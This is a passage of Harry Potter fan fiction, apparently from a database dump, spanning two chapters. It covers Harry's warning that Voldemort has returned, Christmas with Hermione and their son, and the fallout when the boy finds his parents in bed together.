&quot;The one thing that the Aurors have agreed to do about this is investigate shops on Knockturn Alley that possess spellbooks with the sort of curse I believe was placed on the children. And Hermione.&quot; <br><br>The woman in question raised a tentative hand. &quot;How do we know exactly what that was? I know I don\'t remember what the man said as he was coming at me.&quot;<br><br>&quot;Process of elimination,&quot; Sirius replied. &quot;There aren\'t that many known curses that could have had this sort of effect.&quot;<br><br>&quot;What about unknown ones?&quot; Harry asked, grimly. <br><br>Sirius blinked as though the thought of an original curse had never even occurred to him. &quot;That would take a wizard of enormous power, Harry. Far beyond the capacity of anyone alive today.&quot; <br><br>Hermione paled. Harry glanced at her before he spoke. &quot;I\'m sure we can all think of at least one wizard who posessed that sort of ability.&quot;<br><br>All eyes were on him. Snape raised an eyebrow. &quot;Are you suggesting that...&quot;<br><br>&quot;I\'m not suggesting,&quot; Harry stated. &quot;I\'m saying very plainly.&quot; He took a deep breath. &quot;Voldemort has risen.&quot;<br><br>There was a long minute of silence as the people at the table digested his words. Finally, Dumbledore spoke. &quot;And how do you know this, Harry?&quot;<br><br>&quot;I saw him,&quot; Hermione said quickly, as though the memory would hurt less if she got the words out as fast as possible. &quot;While I was under the curse. He called it...he called my thoughts his world.&quot; She closed her eyes. &quot;I can\'t even begin to describe what he...the things he did were...&quot; Harry felt for her hand under the table and threaded his fingers through hers. &quot;It was horrible,&quot; Hermione continued. &quot;And he\'s the only one who could have done it to me.&quot;<br><br>The look Sirius gave her was sympathetic. &quot;While I understand that what you went through was intense, Hermione, I don\'t believe that there\'s ample proof in just that to say that...&quot;<br><br>Harry jumped to her defense. &quot;My scar has been hurting again,&quot; he blurted out. &quot;It was the worst on Halloween, right before we heard the first screams.&quot; He licked his lips, anxiously. &quot;The only times my scar ever hurt was when Voldemort was up to something.&quot;<br><br>After clearing his throat, Sirius simply stated, &quot;Harry. You killed him.&quot;<br><br>&quot;And you don\'t think there\'s any possible way he could have come back?!&quot; Hermione winced as Harry\'s grip on her hand intensified along with the fervor of his words. &quot;Let\'s think about this, Sirius. My scar, Hermione\'s dreams, an attack on the school\'s Muggle-born, the rise of anti-Muggle sentiment...it all fits together! Voldemort is gathering strength.&quot; Sirius opened his mouth to speak, but Harry cut him off. &quot;Yes, I thought I killed him, too, but I must not have. He must have found a way to survive and has just been....waiting for ten years. He\'s done it before; this all fits perfectly into his pattern. Don\'t you see?! Voldemort is preparing to re-enter the world.&quot; He took a breath. &quot;And he\'s using Draco Malfoy to do it.&quot;<br><br>Sirius frowned. &quot;Draco Malfoy doesn\'t have enough brains to be even Voldemort\'s pawn, Harry. He\'s just a spoiled wizard who never grew up. Nothing more.&quot; Harry shot a glance at Snape, still expecting even after all the years for Snape to stand up for Malfoy. To his own credit, Snape had no reaction to Sirius\' words.<br><br>&quot;One doesn\'t need brains to be Voldemort\'s key to re-entering the world. I think that Wormtail proved that.&quot; Harry took a breath. &quot;Would you at least just consider the possibility? I wouldn\'t make this up.&quot;<br><br>&quot;No one is calling you a liar, Harry,&quot; Dumbledore assured him. He glanced around at the others who were all still contemplating Harry\'s announcement, as evidenced by their perplexed expressions. &quot;For now, let\'s continue our investigation, leaving no stone unturned. Especially ones that Voldemort may be hiding under.&quot; The joke did nothing to lighten the mood. &quot;Everyone is free to go.&quot; <br><br>As the others stood up, Harry slumped back into his chair. &quot;None of them believe me.&quot; <br><br>Hermione reached for Harry\'s hand. &quot;You did all you could do.&quot;<br><br>&quot;Why do I get the feeling that they still think of me as a child?&quot; <br><br>&quot;I suppose that\'s what happens when you let ten years go by,&quot; Sirius replied before Hermione had a chance to. The look he gave Harry was a strange one, the result of his desire to both embrace and strangle his godchild. <br><br>&quot;I meant to write...&quot; the younger man began as he stood up. <br><br>&quot;And I did. Many times.&quot; Sirius sighed. &quot;I thought you were dead for awhile.&quot; <br><br>Harry bit his tongue. *So did I,* he thought. Lowering his eyes, he acknowledged his godfather\'s words. &quot;I am sorry.&quot; <br><br>Giving in, Sirius pulled Harry into a quick hug. &quot;At least you came back to us.&quot; He looked down at Hermione. &quot;To all of us.&quot; <br><br>&quot;Sirius,&quot; Harry started, determined to convince the other man of the danger they all now faced. &quot;I am being serious. About Voldemort.&quot; <br><br>His father\'s best friend shook his head. &quot;Harry...I saw Voldemort\'s robes. There is not a doubt in my mind that you killed him ten years ago. And to my knowledge, no wizard in history has ever been able to rise from the grave.&quot; <br><br>&quot;If you don\'t believe it\'s him, then at least accept the fact that he still has followers.&quot; Harry\'s lip curled up. &quot;And that Draco Malfoy is most likely in charge of them.&quot;<br><br>Sirius reached up to scratch the back of his head. &quot;The younger Malfoy has been getting more attention lately than he deserves. You know what he\'s really upset about, don\'t you?&quot;<br><br>Hermione spoke up. &quot;Muggles at Hogwarts?&quot;<br><br>The older man nodded. &quot;Especially since his son will be starting here next year.&quot; He paused. &quot;Your son, too, right?&quot;<br><br>&quot;Yes,&quot; Harry replied without thinking. &quot;I mean...her son. Harry...little Harry. Her son.&quot; <br><br>Hermione stood up, tired of being dwarfed by the two men. &quot;Speaking of Harry, I need to get back to him.&quot; She lifted her chin to kiss Sirius\' cheek. &quot;It is good to see you again.&quot; Her gaze brushed over Harry. &quot;Goodnight.&quot; <br><br>After she was gone, Sirius glanced at Harry. His godson was still watching the end of the hall, although Hermione had already disappeared from view. &quot;Do you still fancy her?&quot; The color of Harry\'s cheeks betrayed him. Sirius had to smile. &quot;I\'ll take that as a \'yes\'.&quot;<br><br>Harry cleared his throat. &quot;So...Draco has a son?&quot;<br><br>Sirius nodded, as though the sudden switch in topic did not catch him off guard at all. &quot;A boy. Bronson. Born around the same time as your own son.&quot; <br><br>He took guilty pleasure at seeing Harry throw up his hands. &quot;If it\'s so easy for everyone to figure out, why isn\'t it out in the open?&quot; his godson asked out loud. <br><br>&quot;We should talk about this somewhere else.&quot; Sirius caught Snape watching them out of the corner of his eye. Taking Harry\'s arm, he steered the younger man out of the Great Hall. As they started out through the corridors, Sirius began to speak again. &quot;Most people don\'t look too deep, Harry. When they see a red-haired child and a man with red hair, they put two and two together too rapidly. As for Dumbledore and myself...we simply looked deeper.&quot;<br><br>&quot;I see.&quot; Harry sighed. &quot;Well, my personal life is hardly the real issue here.&quot; He came to a stop in front of the portrait door that led to the professor\'s apartments. Miss Belle was dozing, her chin resting on her decollaged chest. &quot;I need to know everything about Ron\'s death.&quot; Sirius started to speak, but Harry cut him off. &quot;And it\'s not just for my own benefit...or for some sort of lingering grudge against Malfoy. It\'s for my son. Sirius, he believes it was his fault! I can\'t let him go on thinking that.&quot;<br><br>Sirus lowered his head. &quot;At the time...I told them they should have put it in the report.&quot;<br><br>Harry frowned. &quot;Put what in the report?&quot;<br><br>&quot;Malfoy was there, Harry.&quot; His godfather tucked his hands into his black robe. &quot;In London, at Westminster...when Ron was killed.&quot; He watched Harry as the news sunk in.<br><br>&quot;He was there,&quot; Harry repeated. &quot;And he\'s never been brought to justice?!&quot;<br><br>Sirius smiled sadly. &quot;We don\'t put wizards into Azkaban for sightseeing on a holiday.&quot;<br><br>&quot;That\'s what he said he was doing?&quot; Harry fumed. &quot;It\'s a lie! Draco despises everything to do with the Muggle world. There\'s no way in hell he\'d spend his holiday in that part of London!&quot;<br><br>&quot;I know that and you know that. But at the time, it was simply a coincidence. Most wizards know absolutely nothing about Muggles and again, they don\'t look deeper when such Muggle things as scaffolding apparently fail. They expect it; it\'s not magical, after all.&quot;<br><br>Harry crossed his arms over his chest. &quot;I\'m starting to wonder if he doesn\'t have the Aurors on his payroll.&quot; <br><br>&quot;You may be more right than you think.&quot; Sirius withdrew one hand to scratch his temple. &quot;At the time of his death, Ron was heading up a one-man project to investigate Malfoy\'s involvement in the Dark Arts. He contacted me two days before the accident, to tell me that he\'d had a breakthrough. We were supposed to meet the next week so he could bring me up to speed. But, obviously, that never happened.&quot;<br><br>&quot;And you have no idea what it could have been?&quot;<br><br>&quot;None. But if he had any documentation, there\'s only one person in the world who would know where it is now.&quot;<br><br>Harry looked up at the high-arched ceiling. &quot;Hermione. It\'s just too bad that she refuses to tell me anything about Ron\'s work.&quot;<br><br>&quot;She\'s protecting you.&quot;<br><br>&quot;That\'s been suggested to me.&quot;<br><br>Sirius patted his godson\'s shoulder and winked. &quot;You may have to use a bit of your father\'s charm to coax it out of her.&quot; His tone became serious again. &quot;But if you want to bring Malfoy to justice and perhaps, in the process, solve the mystery here, we need to know what Ron found out...that got him killed.&quot;<br><br>Harry nodded. &quot;I understand.&quot; Clearing his throat, he knocked on the gilded frame of Miss Belle\'s portrait. She awoke with a start, overly-defined bosom heaving. &quot;Professor Potter....&quot; Her lips curled up. &quot;Sirius Black...it\'s been a long time since *you\'ve* come knocking at my portrait. The last time, I believe, you and James Potter wanted to see what was under my...&quot; She stopped with calculated precision. &quot;Well, you know.&quot;<br><br>Sirius squirmed faintly under Harry\'s inquisitive stare. &quot;We were sixteen,&quot; he reminded James\' son. <br><br>The younger man lifted an eyebrow. &quot;Belladonna,&quot; he spoke the password. Miss Belle blew the men a kiss and the portrait door opened. &quot;Goodnight, Sirius.&quot;<br><br>His godfather reached out and pulled him into a quick embrace. &quot;You were very missed, Harry. Don\'t go off wandering again.&quot;<br><br>&quot;I won\'t,&quot; Harry promised. &quot;I have too much to protect here.&quot;<br><br>****<br><br>In the second week of December, the children began to return to Hogwarts. Still battling their memories of Halloween night and braving the possibility of another, most of the fifth, sixth and seventh year students arrived via the Express to begin a light class load. <br><br>&quot;They\'ve only come back because the O.W.L.S and N.E.W.T.S. start in the spring,&quot; Hermione told Harry over breakfast the day classes started up. &quot;Some parents would rather have their children petrified than have them do poorly on the exams.&quot; <br><br>Harry slathered jam onto a piece of toast. &quot;At least they\'ve come back. I actually started to miss teaching.&quot; He took a big bite and mumbled around it, &quot;Why aren\'t you eating?&quot;<br><br>She glanced down at her bacon and eggs. &quot;I don\'t know.&quot; Pushing her plate away, she leaned forward on her elbows. &quot;Harry, will you do me a favor?&quot;<br><br>He swallowed. &quot;Of course.&quot;<br><br>&quot;After your classes, could you get Harry out and doing something? It\'s been weeks and he\'s only been outside once or twice. At first I thought it was just that he was still worried about me, but now I\'m starting to get very worried about him.&quot; <br><br>Harry held his breath as Hermione\'s knee accidently brushed against him under the table. How could he deny her anything, especially if it meant spending time with his son? &quot;I\'ll take him down to see Hagrid\'s Fiji mermaids,&quot; he told her. &quot;I\'d play...um...&quot; He searched for the word, so hard to do when she shifted and more of her leg came into contact with his. &quot;Um...that game. Balls....on broomstick...?&quot;<br><br>&quot;Quidditch,&quot; she supplied.<br><br>&quot;That\'s the one. We could play it, except then I\'d have to teach him to fly. And he shouldn\'t know that before...um...before all his future...classmates.&quot;<br><br>Hermione nodded. &quot;I agree.&quot; After a glance at her watch, she stood up. He nearly let out a combined sigh of relief and moan of disappointment when the warmth of her leg left his. &quot;I\'ve got the sixth year Hufflepuffs and Ravenclaws in five minutes. What about you?<br><br>Harry fumbled around in his robe\'s pocket for his new schedule. &quot;Damn. Slytherins. It\'s too early in the morning for them.&quot;<br><br>She shook her finger at him. &quot;There are no such things as bad students.&quot; The look he gave her made her laugh. &quot;Okay, okay.&quot; She started to walk away, but then turned back around. &quot;Will you come over for dinner tonight?&quot;<br><br>&quot;Shepherd\'s pie?&quot; He made a face.<br><br>&quot;Yorkshire pudding.&quot;<br><br>Harry grinned. &quot;I\'ll be there at six.&quot;<br><br>****<br><br>Christmas was upon them before they even realized it. Despite the decorations inside and the snow outside, Harry didn\'t stop and acknowledge the holidays until the day the Express departed, carrying most of the students back to their homes. He had been so caught up in his classes, the regular owls to and from Sirius, spending time with little Harry and Hermione, that Christmas caught him off guard. <br><br>He needn\'t have been worried about spending it alone. Hermione\'s weekly dinner invitation was extended to include Christmas Eve. After several hours of shopping in Hogsmeade, Harry finally fell into the spirit of the holidays. <br><br>At seven that evening, he knocked on Hermione\'s door, loaded down with presents. Little Harry answered, his green eyes nearly bugging out at the sight of the presents. &quot;Are these for us, Professor?&quot; The formal title still bothered Harry, but save for &quot;Mr. Potter&quot;, he couldn\'t think of anything else for his son to call him.<br><br>&quot;They\'re yours if you can take them.&quot; The boy eagerly relieved Harry of the bulky armful. Harry shut the door behind him. <br><br>Hermione had decorated her apartment to cozy holiday perfection. A cheerful fire did a merry dance upon the hearth, casting a warm glow across the room. He took his usual seat in front of the fireplace while little Harry carefully arranged the new presents under the Christmas tree.<br><br>She came out from the kitchen a minute later. &quot;Happy Christmas, Harry,&quot; she greeted him. <br><br>He gave her a soft smile. &quot;You look beautiful.&quot; <br><br>Hermione blushed and tucked a wayward lock of hair behind her ear. &quot;Do you two want to eat out here by the fire or at the table like civilized beings?&quot;<br><br>&quot;Fire!&quot; their son chose. <br><br>Harry lifted his shoulders. &quot;The boy has spoken.&quot;<br><br>Hermione pursed her lips, but went back into the kitchen to finish dinner preparations.<br><br>A hour later, little Harry announced that it was time to open presents. &quot;You don\'t want to wait until tomorrow?&quot; Hermione asked her son. <br><br>&quot;Tonight!!  Please, Mum??&quot; <br><br>She sighed and gave in. &quot;All right then. But don\'t complain when you have nothing to open up in the morning.&quot; <br><br>This didn\'t seem to worry the boy. &quot;Can I open Professor Potter\'s first, Mum?&quot; he asked, hopefully. <br><br>&quot;Whatever you want, Harry.&quot;<br><br>The older Harry pointed to a large package. &quot;That one there.&quot; <br><br>Little Harry ripped the package\'s paper with great enthusiasm. &quot;Woah!&quot; With a bit of a struggle, he lifted a marble and ivory chess board from inside the box. &quot;Wizard\'s chess!&quot;<br><br>&quot;I\'ve already put the spell on it,&quot; Harry said. &quot;I hope you like it.&quot; <br><br>Hermione reached out to touch the marble crown on top of one Queen\'s head. &quot;It\'s gorgeous, Harry.&quot; She looked at her son. &quot;What do you say?&quot;<br><br>&quot;Thank you, Professor Potter!&quot; Their son stood up and to both of his parents surprise, threw his arms around Harry. &quot;Can we play now?&quot; he asked.<br><br>Harry laughed, returning the hug. &quot;Maybe in a bit. First...I want your mother to open her present.&quot;<br><br>A fresh blush colored her cheeks. &quot;A present for me?&quot; <br><br>&quot;The green one,&quot; Harry told the boy. Little Harry picked up the package and handed it to his mother. <br><br>Hermione fingered the edge of her present\'s red bow. &quot;It\'s heavy.&quot;<br><br>&quot;Are you going to open it, Mum?&quot;<br><br>Without further hesitation, Hermione unwrapped Harry\'s gift. Nestled in the tissue paper was a large, leather bound book. The words &quot;Hogwarts: A Revised History&quot; were embossed in gold across the cover. Hermione looked up at Harry, disbelief in her eyes. &quot;Harry...this book isn\'t due to come out until summer! How did you manage to...&quot;<br><br>&quot;I have my sources,&quot; he replied mysteriously. &quot;And besides, you and Ron and I are in this new version so much, it\'s only right you should have the first copy of it.&quot; Harry pulled at his ear, suddenly afraid that what he thought would be the perfect Hermione gift might not be. &quot;Do you like it?&quot;<br><br>&quot;Like it?&quot; Her eyes shone. &quot;Harry...I love it.&quot; On impulse, she leaned over and kissed his cheek. &quot;Thank you.&quot; <br><br>Little Harry unknowingly broke the moment. &quot;There\'s more presents,&quot; he kindly reminded them. <br><br>Hermione touched her lips briefly before jumping into action. &quot;Right. Harry....you can go ahead and give Professor Potter your present now.&quot;<br><br>The boy nodded and fished under the tree for a long, rectangular box. It was almost too long for him to handle; he gratefully passed it to Harry. &quot;Here you go, Professor.&quot; <br><br>&quot;What on earth could this be?&quot; Harry pulled at the paper and lifted the box\'s lid. A second passed. He lifted his eyes. &quot;Is this...my Firebolt?&quot;<br><br>Little Harry nodded gleefully. &quot;Mum helped me fix it up real good for you!&quot;<br><br>&quot;Really nice for you,&quot; Hermione corrected her son.<br><br>&quot;We found it in storage; no one\'s used it since you, I expect.&quot; The boy grinned. &quot;Now you can play Quidditch again!&quot;<br><br>Hermione watched her old friend\'s face carefully. &quot;They\'re still the best in the world, Harry. France won the International Cup last year on Firebolts.&quot;<br><br>The first time he had received the broom had been wonderful. The second time was even better. &quot;Thank you, Harry. I appreciate this so much.&quot; <br><br>Several hours and one forced game of Wizard\'s Chess later, little Harry was fast asleep against Harry\'s shoulder. He was reluctant to move; having his son fall asleep on him was one of the many things he had been afraid he\'d never get to experience. <br><br>Hermione glanced over at them as she cleaned up the living room. &quot;Now that\'s a nice picture.&quot;<br><br>&quot;It feels right.&quot; Harry\'s voice was soft.<br><br>She looked down at her hands, full of red and green wrapping paper. It was impossible to deny the truth in his statement. The entire night had felt right, as if the three of them together was the way it was always supposed to be. Hermione shivered. But then...what about Ron?<br><br>&quot;We should get him into bed,&quot; she said, swallowing a thick lump in her throat. &quot;Can you carry him?&quot;<br><br>&quot;Of course.&quot; Ever so careful to keep from waking him, Harry picked up his son and started for the stairs. Hermione expelled a pent-up breath as soon as he left. She needed a moment to sort through everything she was feeling. Her first instinct was to berate herself. If only she had stuck to her resolve and kept Harry out of their lives...<br><br>But then, she thought, it could just all be his fault for coming back. <br><br>When the Christmas mess was cleaned up and the fire near embers and he still wasn\'t back, Hermione climbed up the stairs. &quot;Harry?&quot; The door to her son\'s room was open; as she walked in, she smiled to see him lying on his bed, tucked up to his chin in the quilt her mother had sewn for him. <br><br>Harry sat at the boy\'s desk, watching his son sleep. He addressed her as he felt her presence in the room. &quot;I\'ve missed so much of his life...and I can\'t ever get that time back.&quot; <br><br>Her heart went out to him, despite the rational thought that he had no one to blame for that but himself. She walked to him and gently touched his shoulder. &quot;There\'s plenty more times to be had.&quot; <br><br>There was a moment of pensive silence. &quot;Are you ever sorry? Do you ever regret that night?&quot;<br><br>&quot;No.&quot; It was the easiest question to answer, despite its sudden appearance. &quot;Never.&quot; <br><br>He looked up at her. &quot;Neither do I.&quot;<br><br>Only a moment passed, but for Harry and Hermione, it might as well have been years. The first move was hers; she leaned down and pressed her lips to his in a smoldering kiss. After allowing himself a second to get past the shock, Harry slowly stood up as not to break the embrace. Her arms slid around his neck, adjusting to the extra height he had gained during his ten year absence. Damn him. That first kiss on Halloween hadn\'t adequately reminded her.  He was still an amazing kisser. <br><br>Harry pulled back first. He could tell where the kiss was leading. It both excited and worried him. &quot;Hermione...maybe we should take things...slowly.&quot;<br><br>&quot;We have been,&quot; she reminded him. <br><br>&quot;Yes, but...&quot;<br><br>She took his hand. &quot;Come on.&quot; Harry allowed her lead him out of their son\'s bedroom. She shut the door and turned around to face him again. &quot;If you don\'t want to go any further, I\'ll understand. But I will be disappointed.&quot;<br><br>Harry\'s confused expression was adorable. &quot;When I came back, my intention was not to get you into bed again.&quot;<br><br>&quot;I know.&quot; She kissed him softly. &quot;That\'s why it\'s going to happen.&quot; <br><br>He shook his head, confusion dissipating. His fingers combed through her loose hair. &quot;I thought about this almost every night I was gone. You were with me during a snowstorm in Iceland...a sandstorm in Egypt...a bull-run in Spain.&quot; His hands cupped her cheeks. &quot;If you\'ll have me, I will do everything I can to make up for all those times I wasn\'t here.&quot; <br><br>Hermione\'s hands covered his on either side of her face. &quot;I\'ll have you,&quot; she whispered. &quot;I love you.&quot; Rather than wait for him to say it...or be crushed if he didn\'t...Hermione kissed him once again, this time pulling him towards her bedroom. <br><br>****<br><br>Much later, Hermione found herself back in the most comfortable place in the entire world. Harry\'s arms. She lazily drew the sheets up around her breasts and angled her head back to look at him. &quot;Harry?&quot;<br><br>&quot;Hmm?&quot;  His eyes were closed, a content smile on his pleasantly perfect face.<br><br>&quot;If I fall asleep, do you promise to still be here when I wake up?&quot; <br><br>He chuckled. &quot;Don\'t even worry about it. I don\'t think I could move right now if I tried.&quot;<br><br>&quot;Well...don\'t try.&quot; She resettled her cheek against his chest. The arm around her bare shoulders tightened, indicating his response. Hermione closed her eyes; she could feel his heart, steadily pounding just under her ear. It lulled her into a peaceful doze. <br><br>Her sleep would not last long. The creak of the slightly rusted hinges on her bedroom door woke her what seemed like only minutes later. She squinted in the dark until a shaft of light hit the bed. <br><br>Beside her, Harry awoke. &quot;What\'s going on?&quot; He sat up, rubbing his eyes. <br><br>Their son stood in the doorway, the light from the hall framing his small body. As Harry adjusted to the mixture of lightness and darkness, he could see the boy\'s dull stare focused directly on his mother\'s bed. There was shock, disbelief and worst of all, horror in the deep green centers of little Harry\'s eyes. <br><br>Hermione covered her mouth with her hand. &quot;Oh, no.&quot; <br><br>Harry reached for his glasses. &quot;Harry...&quot; he said, feeling around on the night stand. &quot;Harry...we can explain...&quot;<br><br>The boy didn\'t wait for an explanation. Turning on his heel, he ran back to his room, slamming the heavy oak door behind him. <br><br>****<br><br>To Be Continued'),
	(93, 8, 'Disclaimer:  The Harry Potter world and its characters do not belong to me, but to the great JK Rowling, whose next book is even more overdue than this chapter.<br><br>Author\'s Notes:  My extreme apologies for the lateness of this chapter.  It\'s been about four months, I guess, maybe a little more.  It was an insane spring semester and that\'s my excuse;)  But you all have been fabulous with your emails and IM\'s.  I wish I could have replied to every single one of them, but they all touched me and were greatly appreciated.  I hope you\'re still interested in the story.  Enjoy and I promise the next chapter won\'t be so long in coming!<br><br>Dedication:  To you all for your kind words.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;You give a guy a handjob during Harry Potter and suddenly he wants to marry you.&quot;  -ER<br><br>****<br><br>Harry\'s fingers finally found his glasses, but it was too late.  &quot;Bloody hell,&quot; he muttered, pushing them onto the bridge of his nose.  He glanced at Hermione.  Her hand was still clamped over her mouth; her slender frame shook ever so slightly.  He put his arm around her; she didn\'t protest.  Rather, she had no reaction whatsoever.  &quot;Hermione...&quot;<br><br>&quot;This is horrible....&quot;  Her hand trembled as she lowered it back to the sheet covering her chest.  &quot;Oh god...this wasn\'t supposed to happen.&quot;<br><br>&quot;It\'s going to be all right,&quot; Harry tried to assure her.  &quot;He\'s a mature child...if we talk to him, explain things to him...&quot;<br><br>Hermione closed her eyes.  &quot;I can\'t believe this happened.&quot;<br><br>Harry blinked.  It suddenly occurred to him that they might not be talking about the same thing.  &quot;We are his parents, Hermione.&quot;<br><br>&quot;Not to his knowledge!&quot;  She shrugged off his arm.  &quot;He didn\'t just see his mother and father in bed, Harry.  He saw his mother and Professor Potter in bed.  And that\'s something entirely different!&quot;<br><br>There was a long pause.  &quot;Maybe it\'s a good thing,&quot; Harry said quietly.  &quot;Maybe it\'s time that I\'m not just \'Professor Potter\' to him.&quot;<br><br>&quot;What are you suggesting, Harry?&quot;<br><br>&quot;I think you know exactly what I\'m suggesting.&quot;  She turned her head to stare at him.  &quot;Don\'t look at me that way, Hermione.  This is something to which I\'ve given a lot of thought.&quot;  Harry pushed off the covers and reached for his clothes.  &quot;I understand that Ron was a wonderful father to our son.  But he is *ours*.  We know it...Dumbledore and Hagrid and Sirius know it.&quot;  He fastened his pants and looked back at her.  &quot;I want *everyone* to know it.  Including Harry.&quot;<br><br>Hermione slowly shook her head.  &quot;How can you be so very selfish?&quot;<br><br>&quot;Selfish?!&quot;  Harry\'s eyes sparked with emerald fury.  &quot;He\'s my son, Hermione!  If I had known about him, I never would have left...or I would have come home years ago.&quot;<br><br>&quot;So, now you\'re blaming me for keeping him from you?&quot;  Her own eyes narrowed.<br><br>Harry plunged his fingers into his tousled hair.  &quot;No, that\'s not what I\'m...&quot;  After a calming breath, he continued.  &quot;I\'m not blaming you for mistakes I made.  But I will blame you if you don\'t give me the opportunity to correct them.&quot;<br><br>&quot;And you think that if you go to him and tell him, \'it\'s okay that you saw me in bed with your mother...I am your father after all\'....that everything is going to automatically be all right?&quot;  <br><br>He blinked.  &quot;I didn\'t say that.&quot;<br><br>Hermione threw off the rest of the blankets and grabbed her robe from its place on one bed post.  She shoved her arms into the terrycloth.  &quot;You\'re just going to tell him, rip apart every basic belief he\'s ever had, tear to pieces the memory of the only father he\'s ever known...and then expect him to start calling you \'Daddy\'?&quot;<br><br>&quot;No...I don\'t...&quot;<br><br>&quot;Then what is your master plan, Harry?!&quot;<br><br>&quot;I don\'t have one!&quot; he yelled.  &quot;I\'m just tired of having to hide how I feel about you and how I feel about my son!  Is that so wrong?  I mean, is it so terrible of me to think of the three of us being an actual family?&quot;<br><br>A bit of Hermione\'s anger faded.  &quot;Harry...would you really want that?&quot;<br><br>Her question made him take a literal step back.  &quot;How can you even ask that?  All I\'ve wanted my entire life was a family of my own.&quot;  He swallowed.  &quot;We had one once.  Ron, myself and you.  Remember?&quot;<br><br>&quot;Oh, I remember.  The problem is...I also remember how you tore that family apart by leaving without a word.&quot;  She stared at him from across the bed.  The rumpled covers stretched like miles between them.  &quot;And if you think I\'m about to let you get in a position to do that again, this time to me and my son...you\'re very mistaken.&quot;<br><br>Harry bare shoulders slumped.  &quot;You said that you forgave me for that.  And you said we could mend and move past it.  You might love me...but you\'re still so hurt, Hermione.  Why haven\'t you let me know before now?  Why did you pretend everything was all right?&quot;  He gestured to the bed.  &quot;And why do this tonight?&quot;<br><br>She was a long time in replying.  &quot;I had a recurring dream when I was pregnant with Harry.  It always started off the same.  You came back, full of apologies, asking for my forgiveness and to be a part of my life again.&quot;  She stopped.<br><br>&quot;And then what happened?&quot;<br><br>Hermione folded her arms across her robe.  &quot;It was always different.  Sometimes, I\'d walk away.  Or I\'d wake up before I could even reply.&quot;  A small smile played on her lips.  &quot;Other times, I\'d forgive you and take you back.&quot;  The smile fell.  &quot;And then you\'d leave again.&quot;<br><br>&quot;Hermione...&quot;<br><br>She held up a hand.  &quot;I thought the dreams would stop after Harry was born, but they didn\'t.  I finally told Ron about them...and he said that maybe if I *didn\'t* forgive you in the dream, if I got mad, yelled, told you where you could stick your apologies, that they would go away.  Well...it didn\'t happen and the dreams continued.&quot;  Hermione licked her lips.  &quot;Until one night.  The dream started as usual and when it came to the part where you asked me to forgive you....I punched you.&quot;  <br><br>Harry bit his cheek to keep from smiling.  &quot;How very therapeutic.&quot;<br><br>&quot;I felt awful!&quot; she countered.  &quot;But then...I didn\'t.  And I suddenly felt much better than I had in months.&quot;  Hermione looked away from Harry\'s eyes.  &quot;When I woke up, I realized I was in Ron\'s arms.  It was the first night we had spent together.&quot;  <br><br>&quot;I see,&quot; Harry replied, stiffly.  <br><br>&quot;I never had the dream again.&quot;  Hermione finally looked back at him.  &quot;I forgave you a very long time ago, Harry.  But yes...I am still terribly mad at you.  It just seemed...irrelevant.  And I thought it would pass...especially if we made love.&quot;<br><br>He nodded as he slowly walked around the bed to her side.  &quot;Then, there\'s only one thing to be done.&quot;  <br><br>She frowned.  &quot;What\'s that?&quot;<br><br>&quot;You\'re going to have to punch me.&quot;<br><br>Hermione blinked twice.  &quot;Have you gone insane?&quot;<br><br>Harry shook his head.  &quot;I\'m quite sane, I assure you.  But if one punch is going to make you feel better, I\'ll give you two.&quot;  He tapped his cheek.  &quot;Come on.&quot;<br><br>&quot;Harry, this is not the time for macho antics!&quot;  She propped her hands up on her hips.  &quot;I am not going to hit you.&quot;<br><br>&quot;If you love me...if you love our son...and if you want us to be a family, you\'re going to have to do it,&quot; he told her. <br><br>She pursed her lips.  &quot;I refuse to punch you, Harry Potter.&quot;<br><br>&quot;But you want to, right?&quot;<br><br>&quot;Of course I don\'t want...&quot;<br><br>Harry reached for her hand, balling up her fingers in his palm.  &quot;Do it.  If it\'s what you need, do it.  There is a very confused boy out there who really needs some explanations.&quot;<br><br>Hermione closed her eyes for a long minute.  &quot;I can\'t believe I\'m going to do this...&quot; she muttered to herself.  Harry smiled and braced himself.  Hermione drew her arm back and swung, landing a direct blow to Harry\'s cheek bone.<br><br>His eye felt as though it were going to pop out of its socket.  After his head had snapped nearly halfway around his body, he doubled over and grabbed the side of his head.  &quot;Ow.&quot;<br><br>&quot;Oh god!  I\'m so sorry, Harry!!&quot;  Hermione flexed her fingers, a look of sheer panic on her face.  She reached for him.  &quot;Are you all right??  I didn\'t mean to do it so hard!!&quot;<br><br>Harry rubbed his numb cheek.  &quot;I\'m all right.&quot;  Cracking his jaw, he stood up straight.  &quot;Do you feel better?&quot;<br><br>She bit her lip, worried.  &quot;A little.&quot;<br><br>He nodded.  &quot;Good.  Now...&quot;  Smiling hurt, so he simply nodded again.  &quot;Let\'s go have a talk with our son.&quot;  <br><br>&quot;You\'re going to tell him no matter what I want, aren\'t you?&quot;  <br><br>His cheek was now beginning to throb.  &quot;I want you to tell him.  And I want you to do it because you want this family as much as I do.&quot;  <br><br>Hermione reached for his cheek, not surprised when he flinched.  &quot;I understand.&quot;  After a pause, she started for the door.  &quot;Here we go.&quot;  <br><br>&quot;Yeah...&quot;  Harry winced as she left the room.  &quot;Ow...&quot;<br><br>****<br><br>They found little Harry in his room, curled up on his bed with a picture of Ron.  He didn\'t move when he heard them enter the room and failed to acknowledge them for a long time after Hermione began to speak. <br><br>&quot;Harry,&quot; she said softly.  &quot;We really need to talk.&quot;  After a long pause without any response, she sat on the edge of their son\'s bed.  &quot;Harry...can you please turn over and look at me?&quot;<br><br>&quot;No,&quot; he replied sharply.  <br><br>The older Harry cleared his throat. &quot;We know that you\'re upset with us.  But if you could just...&quot;<br><br>&quot;No!!&quot; the boy screamed.  &quot;Go away!!  I want to be left alone!&quot;<br><br>&quot;Harry, please...&quot;  Hermione\'s eyes flooded with tears.  &quot;What you saw....I mean to say, you shouldn\'t have had to see....&quot;  She took a breath and reached out to him.  &quot;You\'re too young to understand this, but...&quot;<br><br>Little Harry yanked his pillow out from under his cheek and clamped it down over his head.  Hermione\'s hands shook; she drew them back towards her chest before they could touch the boy\'s back.  Harry cleared his throat, unable to bear the hurt on Hermione\'s face when she looked up at him, expectantly.  <br><br>&quot;Harry,&quot; he began.  &quot;I thought you were more mature than this.&quot;  <br><br>The boy hiccuped underneath his pillow.  &quot;I don\'t want to talk to you.&quot;<br><br>&quot;You don\'t really get a choice.&quot;  Harry took a breath and walked around to the other side of the bed.  &quot;You\'re almost eleven and this is really quite childish, hiding under the covers....closing up your ears to what you don\'t want to hear.&quot;  <br><br>Hermione bit her lip.  &quot;Harry, are you sure this is...&quot;<br><br>The older Harry pressed on.  &quot;You have every right to be mad.  In fact, 